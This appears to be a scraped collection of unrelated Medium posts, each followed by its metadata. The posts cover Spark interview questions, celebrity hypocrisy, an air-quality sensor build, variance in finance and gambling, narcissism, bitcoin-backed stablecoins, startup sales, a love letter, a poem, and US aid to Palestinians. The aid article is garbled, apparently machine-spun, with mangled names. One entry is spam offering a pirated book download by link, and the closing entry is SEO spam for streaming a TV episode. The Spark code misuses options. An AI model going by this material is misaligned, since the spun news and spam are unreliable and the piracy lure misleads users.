How to read an xml file in Spark?
This is very simple, spark has spark-xml package which allows us to parse xml files to dataframes, consider the xml file given below:
<person>
<name>John</name>
<address>Some more Data</address>
</person>
Then to read the we can specify schema and root tag during read as follows:
xmlDF = spark.read
.format("com.databricks.spark.xml")
.option("rootTag", "person")
.option("rowTag", "name")
.option("rowTag", "address")
.xml("yourFile.xml")
This will give you dataframe with “name” and “address” as columns.
Do you need to install Spark on all nodes of the YARN cluster while running Spark on YARN mode?
No, it is not necessary to install Spark on all nodes when submitting job through YARN mode as Spark runs on top of YARN and uses YARN engine to get all the required resources, we have to install Spark only on one node. Read more about YARN deployment mode here.
So, that’s all folks hope you find my article helpful. Do checkout my previous article on Spark Delta in which I have explained ACID on spark. Till then ta ta! | https://medium.com/analytics-vidhya/10-questions-you-can-expect-in-spark-interview-24b89b807dfb | ['Abid Merchant'] | 2019-12-17 08:26:08.462000+00:00 | ['Spark Interview Questions', 'Spark Qa', 'Spark Dataframes', 'Rdd Vs Dataframes', 'Apache Spark'] |
Hollywoods Hypocrisy | Hollywoods Hypocrisy
From #metoo to Climate change. Were going to take a look at how jaded and different Hollywood is to real life. 1rishpher0 Follow Dec 21, 2020 · 6 min read
I want to previse I have no obligation to people sharing their opinions. It’s what Social media was created for, it’s a reason I created this video (or podcast if your listening through that a shout out to you). I have no problem with celebrities wearing black if they think it’s a protest. I have no problem with freedom. If they want to show the public they believe in something go right ahead. I believe in freedom for everyone, almost no matter what.
A lot of you must be wondering why I cared to write this as I don’t care about Hollywood or celeb life or anything like that in general. Well.
With all that being said let’s get right into it…
Harvey Weinstein, Jeffrey Epstein and the mee-too movement.
From the Golden Globes
This is not about the me-too movement. If you have been abused, harassed or the R-word then come forward. I‘ll have a whole other video on that sometime in the future. I want to focus on the hypocrisy of Hollywood and its relation to the movement.
Hollywood pretends to be the saviour of the movement and of a lot of other things. ‘We're all wearing black to an event that Harvey Weinstein went to.’
So #Meetoo ???
They sit high up in their armchair but only come out with this when the movement started to take its effect. I get it Hollywood is just a bunch of people and sometimes people need help.
When people, who are part of the problem come forward and pretend to be part of the solution. Again, if you have or want to talk about your metoo story my ears are open, I want to listen and find someway of justice. Those who are quiet about what they see for years somehow come forward and are willing to lecture the public on how ‘we need to take things like this seriously’ or give a speech which isn’t really controversial jus tot get a standing ovation by their peers.
I get it right they were just scared to come forward. I won’t be coming out with my story anytime soon so why should they? Right. I get it. If you don’t want to come out with the truth, it’s okay if you want to do it in a couple of years when there’s a movement behind it… be my guest, but don’t give a speech. Don’t be the one who all of a sudden feels it’s right to tell everyone else how things should be done or how we should listen to victims when you stayed quiet all these years.
Hollywood are the ones who over sexualise people. Men and women. From films and magazines. That alone is a topic of a video but I can’t be asked with more research into Hollywood I am already bored and done with it.
Is it starting to get Political?
I am not on the right and I am not on the left. I don’t like to put labels on what I am and what I am not, a video for another time… I am very much a centre. I have strong opinions but I don’t fully agree with anyone side. My political place is for another video/Blog or time but looking at it from an outside view, maybe as an actual reporter/person.
Leonardo DiCaprio, Zac Efron and the Climate change crisis hypocrisy
I am glad they have things to believe in. Same with the Mee too movement. I think everybody needs something in their life worth fighting for and who am I to say that what they are fighting for is wrong or point out the hypocrisy of it all.
I myself care a lot about the environment and climate change. I think we start looking after the planet and not just take from it. It was one of the reasons I went vegan for 2 or so years and am a veggie now (that along with health and animals but this isn’t about my diet).
From Unkown
The problem is when you preach something you don’t participate in.
Flying 8,000 miles (in total… their and back) to pick up an ‘environmental’ award. Flying in a private jet to see the world cup. Staying in a private Yacht owned by someone who made all his wealth in Oil. A person who took a private Jet from New York to LA six times in six weeks. There are endless example of this.
I’m not saying to take it away from these people. Have your speech and, if you think they're helping, be my guest. The hypocrisy of trying to tell everybody else about ‘Climate change’ and ‘we need to do something’ when your Co2 footprint can cover almost a whole (small countries worth) is laughable.
Getting lectured about privilege by a prince and princess
Primpal sums it up almost perfectly.
The hypocrisy of celebrities has pretty much-become cliché. From flying around the world to lecture the public about climate change to lecturing the public about the need for open borders from within one of their many gated & walled-off mansions to preaching about the need for gun control while glorifying guns in their movies & TV shows & being protected by armed guards. They live in their own little world where reality is whatever that says it is at any given time.
The term ‘never meet your Idols.’ doesn’t come from thin air.
My whole point on this.
We get mistaken with the people who sing and preach what’s popular and miss the people who start it off. Were quick to praise Oprah for her sexual abuse speech but how many of you have heard of Tarana Burke…
From WIKI
she’s the person who started me too by the way. It’s hard to start a movement like me too but it’s easy to jump on when it’s a thing.
We get mistaken with someone like Amber Heard who comes forward for domestic violence but find out she’s the abuser, which shits on victims everywhere by the way but I got a video/post on that coming soon.
These trends aren’t found in Hollywood. Yes, a public figure might pick it up and make it go mainstream. We see that happen a lot. The ideas, the moving forward is found in the people and the public. It’s found in the relatively open conversations we have. Not some stupid or hypocritical form that comes from Hollywood. They might be the ones who can mainstream it and, the bias that I have against Hollywood, doesn’t change the power and voice the people within it have but real change is found in the public.
Meetoo, no matter how many # or likes it got online. It came down to the police who took the cases seriously. The Jury who looked at the case how it was.
The planet isn’t going to be fixed or get better because Leo takes an 8,000-mile plane ride to collect an environmental award. It’s you. Doing the small stuff that makes the real difference.
Peace | https://medium.com/deep-descussions/hollywoods-hypocrisy-3074754ede2b | [] | 2020-12-21 12:03:14.253000+00:00 | ['Leonardo Dicaprio', 'Hollywood', 'Public', 'Metoo', 'Hypocrisy'] |
Indoor Air Quality Monitoring with Metriful | On June 7 2020, I saw a Kickstarter campaign for an environmental sensor called metriful and decided to back it. Thanks to COVID-19, I figured I would be spending much more time at home and it would be nice to have an idea of what that environment is measurably like. I have a two-bedroom apartment, so I backed it with enough to get 3, one for each.
https://www.kickstarter.com/projects/metriful/sense-indoor-environment-monitor
At one point in the campaign, they announced that they would support the multiple particulate sensors. I opted for the SDS011 (https://aqicn.org/sensor/sds011/) because it was still within my budget and it seemed like a more accurate device.
I received the package in the mail on Wednesday 9/16/2020. I didn’t have time to look at it until the next day, at which point I decided to wire one up between afternoon zoom calls. The timing was amazing as we were experiencing some amazingly poor air quality here in SoCal due to the fires.
https://www.metriful.com/
https://github.com/metriful/sensor
The documentation to wire it up with the Raspberry Pi was complete, although I was kind of hoping for pictures as well. Looking up the pins of the Pi always feels a bit awkward for me for some reason.
I used a small breadboard for each. Sometimes, my mind mixes up anything that might be considered as having an opposite, like left/right or North/South. Today it was voltage/ground. When I wired up the second device to test it, the sample script for collecting sound hung. I quickly double checked the wires and they appeared to be correct. I was particularly concerned about mixing up the 3.3V and 5V for the different devices (metriful takes 3.3 and the SDS011 takes 5). I have destroyed some fun electronics in the past with that mistake. It all looked good though. I felt serious heat coming from the chip when I went to turn it off. It was extremely hot to touch. I immediately unplugged it and wondered if I had maybe gotten a bum chip. I quadruple checked my wiring. This time, things snapped into focus, like when a stereoscopic image suddenly becomes visible.
When you can see the emoji face above, you might understand how I sometimes see opposites.
I realized I had reversed 3.3V and Ground. I immediately assumed that I had just completely fried the chip, especially based on the temperature. I let it cool down for a few minutes and then powered it back up again and Woohoo it seemed to work just fine! | https://medium.com/@billzajac/indoor-air-quality-monitoring-with-metriful-9cff751234ba | ['Billy Z'] | 2020-09-27 18:14:56.925000+00:00 | ['Raspberry Pi', 'Electronics', 'Air Quality', 'DIY'] |
Variance Makes Life Fun | Variance Makes Life Fun
Applying statistical concepts, like variance, to the real world
In every introductory statistics class, you are forced to learn about the basic descriptive statistics — mean, median, mode, and standard deviation. These calculations give you a quick summary of any dataset. The key word here is summary. In any summary, you zoom out to describe the dataset and can easily miss some of the important details. What gets lost in these introductory courses, is how these descriptive statistics apply to your life outside of the spreadsheet. You don’t need to be a data analyst to utilize these concepts. In fact, statistics are used in every domain; however, they are often hidden in plain sight.
What is variance?
Variance is the average of the squared differences from the mean. That’s a nerdy way of saying how spread out the dataset is. Even simpler yet, it is a play off of the word, “vary”, to differ in size, degree, amount, or nature from something else of the same general class. If I told you my mood tends to vary throughout the day, then you would expect my mood ring to change colors quite often. To change is the literal definition of the Latin word, variāre, which is where variance derives from. The more often my mood changes and deviates from a display of being normal (no pun intended), the higher the variance.
Why is Variance Important?
One of the most common applications for variance is in finance. Pick up any classic finance book and you will see it everywhere. In “The Intelligent Investor” by Ben Graham, it is referenced over 200 times, but the word, “variance”, only appears twice in the novel. How can this be?
In finance, the term, “risk”, is often synonymous with variance. The Securities and Exchange Commission (SEC) defines risk as “the degree of uncertainty and/or potential financial loss inherent in an investment decision” (Source). Risk gets all of the credit in finance and on Google (seen below), but variance is the backbone of these discussions.
Source: Google Trends
A common investment decision where risk comes into play is deciding the amount of risk an individual can handle in their financial portfolio as they approach retirement. Imagine you just retired from your career and were given the following options for your portfolio.
Image by author
Option A has an average annual return of 12.2 percent, while option B has an average annual return of 4.1 percent. You would be a fool to choose option B, right? Not always. In this situation, option A had a standard deviation of 28.8 percent, while option B had a standard deviation of only 5.1 percent. This means that option A is expected to have a decline of over 24 percent one out of every ten years (Calculator). Option B will only experience a decline like that in less than 1/100 of a percent of cases. In this situation, option A was emerging market equities and option B was U.S. bond returns from 1985 through Oct 31, 2020 (Source). I don’t know about you, but I don’t think I could stomach a decline of 24 percent during my retirement.
The lesson above demonstated an important caveat to every measurement. The average returns were completely useless without knowing the level of uncertainty, or variance, of each average. But don’t take my word for it. The National Institute of Standards and Technology’s (NIST) states that “a measurement result is complete only when accompanied by a quantitative statement of its uncertainty” (Source). Once uncertainty enters the mix, that’s when things get interesting.
Why is Variance Interesting?
Krzysztof Hepner on Unsplash
Imagine that it’s Friday evening. You just flew across the country to have one last adventure before your friend ties the knot. You step out of the airplane and walk into the Las Vegas airport. The first thing you hear is loud noises. Cha ching! Cha ching! What could that be?
And then you see it. There are slot machines in the airport! Slot machines, or any form of gambling, is a Statistics Professor’s dream. You could teach every fundamental statistics concept based solely off of the activities that occur at a casino.
How does variance come into play?
Let’s assume a casino manager could preset their slot machines to one of the following situations (seen below). They aren’t sure which one to choose so they design an experiment. Half of the slot machines will have the blue frequency distribution, while the other half will have the orange distribution. In the blue slot machines, a customer is expected to lose one dollar 10,473/10,500 (99.74%) times. However, they are expected to win 10,000 dollars once every 10,500 times they play.
Screenshot from author’s Tableau Public page
When comparing the two slot machines, you notice a few more things. The orange slot machine has a payout of 5 or 10 dollars more frequently than the blue slot machine. However, the maximum payout on the orange slot machine is only 10 dollars. On a casino floor, you could envision each slot machine with the following signs:
Image by author
As a customer, which slot machine are you more likely to play? I would wager (no pun intended) to say the blue one is more enticing. The obvious reason here is the larger jackpot. What does a larger jackpot mean from a statistical point of view? In order to further compare these two slot machines, we can calculate some summary statistics.
Image by author
You will notice that the blue slot machine has a lower expected value for the customer, but a much high variance. If these distributions were 100 percent transparent to customers, you would expect a rational customer to always choose the orange machine. However, people aren’t always rational. Those who go to a casino aren’t excited about an average payout of 2 cents for each pull of the slot machine. Customers want a thrill. They want a surprise. They want the chance to change their lives at the blink of an eye. Once you add high variance into the slot machines’ distribution of outcomes, it becomes significantly more interesting.
While risk and gambling get all of the credit in the real world, it’s the underlying variance that makes finance and gambling interesting. When you hear Jim Cramer yell that Tesla is too risky on Mad Money, you will know that means Tesla has a high degree of uncertainty; therefore, a high variance. Next time you are bored, deviate from your normal behavior and add a little variance because that is what makes life fun.
~ The Data Generalist | https://towardsdatascience.com/variance-makes-life-fun-43d21517f4d7 | ['Steven Finkelstein'] | 2020-11-30 22:42:18.967000+00:00 | ['Philosophy', 'Descriptive Statistics', 'Variance', 'Risk', 'Gambling'] |
A Nation of Narcissists | A Nation of Narcissists
Last night I attended a zoom birthday party for a friend of mine. It was thoughtfully arranged; instructions and a detailed schedule were sent in advance. We were to dress up, share memories, drink recipes, and distant gifts. The guest list was a creative crew, and all went to work.
The party began. In true zoom fashion things quickly went awry, and the thing devolved for a bit into one crew of zoom experts vainly attempting to guide tipsy and opinionated zoom novices. (“I’m not the host! I was never the host! Oh wait, I’m the host!”) Just as we were managing to get on course a particular attendee, one I did not recognize at first, took the chaos as an opportunity to tells us, in great detail, about her. She pulled out her ukelele and song a song, which was fine, and then another, which was a bit much, then a third, which she sang so loudly and with such self-absorption that she drowned out the pleas from the rest of us for her to stop so we could return our attentions to the birthday boy. The entire party thus became a uncomfortable struggle to wrestle attention from this woman and redirect it appropriately.
I woke this morning to read, as usual, about what Donald has done this time. The constant droned reports of his insanities has made us callous, increasingly indifferent to the overwhelming news of death, suffering, disaffection, and the disintegration of our democracy. He has crushed our moral compass under his heel, singing his song for the third, fourth, four-hundredth time, ignoring our pleas for him to stop.
For 15 years I was in a relationship with a narcissist. I failed to recognize, then tried to ignore the signs, and effort that fed a growing stress that came to a head when I discovered a lump in my breast. My partner, with alarming speed, found a new partner, found and mobilized unscrupulous lawyers and accountants, and literally cleaned me out while I battled through 18 months of chemo and 4 surgeries. She sang her song to anyone who was incentivized to listen, and continues singing to this day, even though I’ve long since escaped and recovered.
I teach my business school graduate students via zoom. Some of them get it: they have begun to see themselves in the larger context of what is happening and what has already happened that we failed to notice. They have started to acknowledge the horrific suffering of those less fortunate than they are, and some have taken action.
The victims of these times are many things, they are brown and black, elderly and young, prisoners in jails or nursing homes, parents drinking at night to kill the stress of the day. They are many things but also the same thing: they don’t have enough money. I see my students laboring to avoid this fate, not working to learn but working for grades and a degree so they can get a job and achieve the increasingly elusive goal of financial security. The more concerned they become with this goal the more they remind me of the woman at the zoom party. Or our future ex president. Or my ex.
We have become a nation of narcissists, fueled by a grasping greed that is itself fueled by a deep, empty fear that if we lose the limelight we lose power. If we fail to earn money and what we believe it buys us we will lose ourselves. The soul of a narcissist is a vast, dark, hungry, empty space that frightens and motivates to acts of greater and greater insensitivity. This insensitivity leads inescapably to harm and then to destruction. The acts of a narcissist in the end destroy everything, including the narcissist.
Trump will not fade. His image will instead sharpen until it is undeniably recognizable even to his most arduous admirers. The image of any narcissist sharpens slowly but inevitably, and person by person we begin to recognize them and move away. Our job as citizens, as friends and family, and as humans is to watch for these people and move away sooner, turning our attention instead to each other, and to our true, human, compassionate selves. | https://medium.com/@christienordhielm/a-nation-of-narcissists-8cc35e918fc0 | ['Christie Nordhielm Phd'] | 2020-12-19 16:27:52.264000+00:00 | ['Narcissism'] |
BOOK A Promised Land Hardcover — November 17, 2020 Free Download | A riveting, deeply personal account of history in the making — from the president who inspired us to believe in the power of democracy
Download https://lnkmeup.com/7Fqe | https://medium.com/@paulsteave/book-a-promised-land-hardcover-november-17-2020-free-download-16a73b407ff6 | ['Paul Steave'] | 2020-12-25 18:41:30.641000+00:00 | ['Books', 'Free Books', 'Book Review', 'Book Recommendations', 'Obamacare'] |
Why we need a Bitcoin collateralized Stablecoin | In my last article Argentina’s volatility inspires a Bitcoin collateralized stablecoin I talked about how volatility is extremely harmful for a currency. We concluded that stability is needed to make money execute its functions. Here I want to discuss stablecoins, their possible collaterals, the pros and cons of those solutions and then focus on the Bitcoin collateralized stablecoin.
Stablecoins
Stablecoins have emerged in response to the high volatility of cryptocurrencies such as bitcoin, Ethereum and others in order to allow these currencies to fulfil the three functions of money: medium of exchange, unit of account, store of value. Only when these 3 characteristics are met, cryptocurrencies will work properly and efficient. The ongoing extreme shifts in price of these currencies make Stable Coins very popular these days.
As the name suggests Stable Coins, are coins that bring stability to the cryptocurrency system. More specific Stable Coins guarantee price stability. The mechanism behind these coins requires that the issuer holds a collateral and manages the supply through trade incentives.
3 different types or collaterals
The collaterals, which can either be assets or money, serve as a guarantee for the coin to be stable. We can distinguish between three possible types of collaterals for a Stable Coin: Fiat-, crypto- or non-collateralized.
If a cryptocurrency is Fiat-collateralized the coin issuer will need to hold Fiat money (USD, YEN, EUR, etc.) and can then start emitting coins against this money. The most common exchange rate will be 1:1 and the Fiat money used normally are US dollars. Fiat collaterals are the most popular form for collaterals and bear the advantage of having a simple business model. The dependence on a central party to function as a custodian to store the Fiat money and the necessity for regular audits to ensure the full collateralization should be mentioned as disadvantages.
Instead of using Fiat we can use another cryptocurrency as a collateral, in this case the currency will be crypto-collateralized. The deposit will hence not be in USD, but an cryptocurrency such as Bitcoin, etc. Due to the fact that cryptocurrencies are more volatile than Fiat money, the issuer of the Stable Coin will have to over-collateralize his coins to compensate for the high volatility. Crypto-collaterals hence are said to be more capital-intensive than Fiat collaterals. Furthermore they are more complex and exposed to Black Swan events. The positive aspects of crypto-collaterals are the decentralization, the transparency, the speed of the blockchain to liquidate the Stable Coins and the possibility to create leverage.
Last but not least there are non-collateralized Stable Coins. The concept behind these coins is that the expectation serves as the collateral. The believe that my Stable Coin will retain a certain value is the backup to this system. The Seignorage Shares represent this concept.
Stablecoin with Bitcoin as collateral
As pointed out Fiat collaterals are the most popular form of collaterals, nevertheless there are good reasons for using cryptocurrencies as a collateral. These benefits result from the crypto-ecosystem and are: decentralization, transparency, transaction speed of the blockchain and leverages.
Interestingly Bitcoin — despite being the biggest player — has not been explored as a collateral. Why so? One of the main reason is that the technology to make smart contracts with bitcoin as the collateral wasn’t available. Thanks to RSK Labs things have recently changed and the technology to realise such projects is now available.
Money On Chain will use this new technology in order to launch a bitcoin-collateralized stablecoin. At Money On Chain we believe that various reasons make Bitcoin a perfect collateral.
First, bitcoin is the most liquid cryptocurrency, has the largest capitalization and the biggest user base (network effect). Furthermore bitcoin is the oldest cryptocurrency with brilliant minds leading the development team and the largest cryptographic mining power in the world, which makes it the safest payment system.
The 2 main reasons though are bitcoin’s decentralization and clear monetary policy. The decentralization provides a unique and little understood feature which is the resistance to the change of the rules. In the bitcoin ecosystem there is no entity with sufficient power to change the rules, since the consensus of miners, users, developers and companies will be needed.
The monetary policy is immutable, has a pre-established limit of 21 million bitcoins and a decreasing emission rate. Discussing a change in Bitcoin monetary policy is unthinkable and allows an anticipation of the future. The limit of 21 million bitcoins ensures a shortage of the asset turning it into deflationary currency, since for different reasons some bitcoins are lost forever therefore reducing the supply.
All described characteristics make Bitcoin the best collateral for a Stable Coin. Details about our Stable Coin can be found on www.moneyonchain.com
If you enjoyed this article please recommend and share it. Thanks a lot! | https://medium.com/moneyonchain/why-we-need-a-bitcoin-collateralized-stable-coin-8936b4437a61 | [] | 2018-10-11 14:44:43.488000+00:00 | ['Cryptocurrency', 'Bitcoin', 'Collateral', 'Crypto Collateralized', 'Stablecoin'] |
How to Get Your Startup’s First Customers | I was asked to speak with a group of entrepreneurs participating in a startup accelerator program. The person who invited me — the leader of the program — explained that all the companies had products, but most of them were struggling to get customers. He wanted me to give advice on how to acquire customers when first entering a market.
These types of struggles aren’t unusual. In fact, most startups follow the same pattern. They launch a product, can’t figure out how to sell it, and then fail. While it rarely feels good for the struggling entrepreneurs, it does help them learn an important lesson: “Just because you built something, it doesn’t mean anyone will use it.”
Unfortunately, I don’t have any tricks that can magically help startups get their first customers. However, I do know most startups make this same mistake, and it’s usually caused by the same issue. So I agreed to speak with the group and share my thoughts. A few days later, I was standing in front of the 100-ish founders in the program. I started my conversation with them by asking the following question:
“What factors influence a customer’s buying decision?”
Here were some of their answers:
Price
Quality
Features
Brand recognition
Reviews
Advice of friends
Research
Marketing/promotion
Past purchasing
I agreed with them. Everything they said was a relevant factor. I’m also sure they missed some, but, by and large, I think they got the big ones. So then I asked a follow-up question:
“Of those factors, which is most important for startups?”
The majority of people said price, while a minority of people congregated around features. Once they’d finished explaining their choices, I gave them my answer:
“You shouldn’t have been able to choose one,” I told them. “It’s a trick question. It depends on the kind of product you’re selling and who you’re selling to.” | https://entrepreneurshandbook.co/how-to-get-your-startups-first-customers-1d49549daa88 | ['Aaron Dinin'] | 2021-07-26 21:08:14.220000+00:00 | ['Business', 'Entrepreneurship', 'Entrepreneur', 'Startup', 'Product Management'] |
A Letter I Wrote to a Finnish Woman I Love | “Where were you yesterday? I was looking for you,” she told me.
It was after the Christmas break at work in 2017. It was snowy and dark outside — the typical Finnish winter.
“Why were you looking for me? Did you miss me?” I asked her.
“I missed your smile,” she replied with her typical smile.
Her smile is enticing. I can never forget it.
How I Met Her
I met this charming Finnish woman in Finland. She was my colleague in a restaurant I worked at. She loves music and dancing, is of French descent, and lived in London when she was young.
She has whitish hair (the first distinct thing I noticed about her when I first met her in a country full of blonde women).
What I love the most about her is she can articulate romantic thoughts clearly in English (which is something I find irresistibly attractive in any woman).
She has the kind of sense of humour (which enables a person to weave elements of cultural quirks into the conversation) I quickly fall for.
We shared a bond that is inexplicable in words. I enjoyed talking to her so much.
We talked about Finland.
We talked about life.
We talked about music.
The synchronization of words we exchanged was flawless.
Like her smile, I can never forget the heart-to-heart conversations I had with her.
The Letter | https://medium.com/finland-stories/a-letter-i-wrote-to-a-finnish-woman-i-love-7e4d1f482aae | ['Mahmudul Islam'] | 2020-10-25 18:26:22.962000+00:00 | ['Love Letters', 'Life', 'Travel', 'Relationships', 'Finland'] |
Arab countries welcome restart of US help to Palestinians | Arab countries on Thursday invited the resumption of monetary guide to the Palestinians by the United States to give financial, advancement, and philanthropic help to the uprooted local area. On Wednesday, the Biden organization declared $235 million in guide to the Palestinians to restart subsidizing to the United Nations Relief and Works Agency (UNRWA) among different foundations to help the influenced exiles.
Turning around the Trump organization’s activities, US Secretary of State Antony Blinken on April 7 said that the monetary help to Palestinians will be diverted towards financial, security, compassionate, and improvement endeavors in the district. The US has additionally demonstrated its help for an arranged two-state answer for resolve the Israeli-Palestinian clash.
“The United States is focused on propelling success, security, and opportunity for the two Israelis and Palestinians in substantial manners in the prompt term, which is significant by its own doing, yet additionally as a way to progress towards an arranged two-state arrangement,” Blinken said in an articulation.
Bedouin League Secretary-General Ahmed AboulGheit invited the Biden organization’s help to the two-state arrangement to stop the Palestinian-Israeli clash. In a proclamation, he focused on that monetary and political limitations forced by the previous US organization under Donald Trump on the Palestinians were a “serious mix-up”. He underscored that the Biden organization is revising the slip-up and named the reclamation of monetary help a “positive advance” towards the government assistance of Palestinians.
Inviting the move, Jordan’s Deputy Prime Minister and Foreign Minister Ayman Safadi said the US help will help the UNRWA in offering fundamental types of assistance, for example, wellbeing and schooling to more than 5,000,000 Palestinian displaced people across Jordan, Syria, Lebanon, and the Palestinian regions.
Egypt’s Foreign Ministry representative Ahmed Hafiz gave an assertion, noticing that the resumption of US help would guarantee material help to Palestinians and help them in beating monetary and compassionate difficulties.
Adel container Abdulrahman Al-Assoumi, Chairperson of the Arab Parliament, likewise communicated confidence in the resumption of US help for Palestinians.
Under the arrangement, $150 million will be steered to UNRWA, $75 million for US monetary and improvement help and $10 million for harmony building programs for Palestinians.
After clashes with the Palestinian Authorities, the Trump organization hindered most of help for the exiles in 2018.
The United Nations additionally invited the US choice to reestablish UNRWA subsidizing, encouraging different nations to follow after accordingly for the government assistance of Palestinians. Addressing media, UNRWA Commissioner-General Philippe Lazzarini said that the new financing was “amazingly welcome”. | https://medium.com/@akshayprasad891/arab-countries-welcome-restart-of-us-help-to-palestinians-89b4defeb4e2 | ['Akshay Prasad'] | 2021-04-09 12:39:45.609000+00:00 | ['United States', 'Palestine', 'Arab World', 'Middle East'] |
Anticipating Justice (1/1) | Protesting and public outcry are about the Kingdom of God.
.
Okay, well not quite.
I can definitely guarantee you that there isn’t protesting in Heaven.
But then what DO I mean by protesting and outcry is about the Kingdom of God?
.
Quite simply, we miss the Garden.
.
Consider the chaos and tragedy we have in our world
A starving child
A virus destroying a healthy 20 year-old’s body
A black man being strangled to death by the police
.
And how do we respond?
“Send them more money!”
“Blame China! They’re the ones who decided to eat bat soup!”
“Black Lives Matter!”
.
The Garden of Eden was a place where man and God could reside
Created and provided for
Designed as the Kingdom of God on Earth
It was perfect;
It was paradise;
We were perfect;
We were living in paradise.
.
We were meant to rule with Him
Yet we decided we wanted our own way
We thought we could be just as good, if not, better than God
But we were bound to fail.
.
Every time something failed
We hid in shame
We tried to put bandages over our broken bones
It was a decent try, but never the perfection we needed
.
And so we get a little desperate
Out of frustration
We protest
We riot
We cry out
Because we want justice served
.
But who do we put our hope in to deliver this justice?
The police?
The government?
Just a black square?
Do we rise up to overthrow everything?
.
We can’t.
No human is perfect*.
No human is meant to be a total saviour to another human.
.
We can only put our hope in the one who transcends everything and everyone
The one who is perfect
The one who’s promises never failed
That is, the one who raised Jesus from the grave.
.
And so we cry out
“Hear me, my God, as I voice my complaint!
Protect my life from the threat of the enemy
They plot injustice and say
‘We have devised a perfect plan!’
But You will shoot them with your arrows
They will suddenly be struck down
You will turn their own tongues against them
And bring them to ruin.
All who see them will shake their heads in scorn
All people will fear
They will proclaim the works of God
And ponder what he has done.
The righteous will rejoice in the Lord
And take refuge in him
All the upright will find glory in him!”
Knowing that he will be just.
.
Because only until then
Will we be able to see
All human life is precious
That a human’s life has been fearfully and wonderfully made
.
Now is the time to cry.
To cry and mourn the losses, sin, death and destruction in this world
But to also cry out to God to come and save us
.
So I pray that as we wait in anticipation for the final judgement
We dare to replace the
“White people can’t dance”
“Asians are good at math because they eat their pet dogs”
“Blacks are good at basketball because they can run, shoot and steal”
With
“That’s someone’s daughter!”
“That’s someone’s son!”
When was the last time you chose to see that person as truly human?
.
As we wait
Let us act justly
Love mercy
And walk humbly with the Lord
.
(Reference: Psalm 64, Micah 6)
*Sidenote, Jesus is the only human (who was also fully God) to be perfect and is the saviour to all. | https://medium.com/uwccf/anticipating-justice-1-1-2178c0ec16aa | ['Anda Su'] | 2020-06-10 14:47:06.579000+00:00 | ['Christianity'] |
[S2"E6] “Hilda” Series 2 Episode 6 || [Full Episode] | ☘ Streaming!! Hilda Season 2 Episode 6 — Full Episode || Watch — Hilda Season 2 Episode 6 : Online 1080p [Hilda Season 2 Episode 6] ☘
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Hilda Season 2 Episode 6 ; Fearless, free-spirited Hilda finds new friends, adventure and magical creatures when she leaves her enchanted forest home and journeys to the city.
TELEVISION SHOW AND HISTORY
A television show (often simply TV show) is any content prBookmark this siteoduced for broadcast via over-the-air, satellite, cable, or internet and typically viewed on a tv set, excluding breaking news, advertisements, or trailers that are usually placed between shows. Tv shows ‘re normally scheduled well ahead of The War with Grandpa and appear on electronic guides or other TV listings.
A television show may also be called a tv program (British EnBookmark this siteglish: programme), especially if it lacks a narrative structure. A tv set Movies may be the War with Grandpaually released in episodes that follow a narrative, and are The War with Grandpaually divided into seasons (The War with Grandpa and Canada) or Movies (UK) — yearly or semiaual sets of new episodes. A show with a restricted number of episodes could be called a miniMBookmark this siteovies, serial, or limited Movies. A one-The War with Grandpa show could be called a “special”. A tv set film (“made-for-TV movie” or “televisioBookmark this siten movie”) is a film that`s initially broadcast on television instead of released in theaters or direct-to-video.
Television shows may very well be Bookmark this sitehey are broadcast in real The War with Grandpa (live), be recorded on home video or an electronic video recorder for later viewing, or be looked at on demand via a set-top box or streameBookmark this sited over the internet.
The first television set shows were experimental, sporadic broadcasts viewable only within an extremely short range from the broadcast tower starting in the. Televised events such as the 936 Summer OlyBookmark this sitempics in Germany, the 937 coronation of King George VI in the united kingdom, and David Sarnoff’s famoThe War with Grandpa introduction at the 9 New York World’s Fair in the The War with Grandpa spurreBookmark this sited a rise in the medium, but World War II put a halt to development until following the war. The 947 World Movies inspired many Americans to get their first television set and in 948, the popular radio show Texaco Star Theater made the move and became the first weekly televised variety show, earning host Milton Berle the name “Mr Television” and demonstrating that the medium was a stable, modern type of entertainment which could attract advertisers. The firsBookmBookmark this siteark this sitet national live tv broadcast in the The War with Grandpa took place on September 4, 95 when President Harry Truman’s speech at the Japanese Peace Treaty Conference in San FraThe Walking Dead: World Beyondco was transmitted over AT&T’s transcontinental cable and microwave radio relay system to broadcast stations in local markets.
❏ STREAMING MEDIA ❏
Streaming media are multimedia media that are continuously received by an end user and presented to an end user while being provided by a provider. The verb to be streamed identifies the process of providing or receiving media in this way. [Clarification required] Streaming identifies the delivery method of the medium rather than the medium itself. The distinction between the delivery method and the distributed media is particularly true for telecommunications networks, as most delivery systems are either inherently streaming (e.g. radio, television, streaming apps) or not streaming by nature (e.g. books, video cassettes, sound CDs). There are challenges associated with streaming content on the Internet. For example, users whose Internet connection does not have sufficient bandwidth may experience stops, delays, or slow buffering of this content. And users who lack compatible hardware or software systems may have problems streaming certain content.
Live streaming is the delivery of Internet content in real time, similar to how live television broadcasts content over the air with a television signal. Live internet streaming takes the form of source media (e.g. a video camera, sound interface, screen capture software), an encoder to digitize the content, a media publisher, and a content delivery network to distribute and serve that content. Live streaming does not need to be recorded at the point of origin, although it is often the case.
Streaming is an option for dBBC Oneloading files. The end user receives the full file for the content before viewing or hearing it. Streaming allows an end user to use their media player to begin playing digital video or audio before the entire file has been transferred. The term “streaming media” can apply to media other than video and audio, such as: B. Live subtitles, ticker tape, and real-time text that are considered “streaming text”.
❏ COPYRIGHT CONTENT ❏
Copyright is a type of intellectual property that gives its BBC Oneer the exclusive right to make copies of a creative work, usually for a limited time.[1][2][3][4][5] The creative work may be in a literary, artistic, educational, or musical form. Copyright is intended to protect the original expression of an idea in the form of a creative work, but not the idea itself.[6][7][8] A copyright is subject to limitations based on public interest considerations, such as the fair use doctrine in the United States.
Some jurisdictions require “fixing” copyrighted works in a tangible form. It is often shared among multiple authors, each of whom holds a set of rights to use or license the work, and who are commonly referred to as rights holders.[citation needed][9][10][11][12] These rights frequently include reproduction, control over derivative works, distribution, public performance, and moral rights such as attribution.[13]
Copyrights can be granted by public law and are in that case considered “territorial rights”. This means that copyrights granted by the law of a certain state, do not extend beyond the territory of that specific jurisdiction. Copyrights of this type vary by country; many countries, and sometimes a large group of countries, have made agreements with other countries on procedures applicable when works “cross” national borders or national rights are inconsistent.[14]
Typically, the public law duration of a copyright expires 50 to 100 years after the creator dies, depending on the jurisdiction. Some countries require certain copyright formalities[5] to establishing copyright, others recognize copyright in any completed work, without a formal registration.
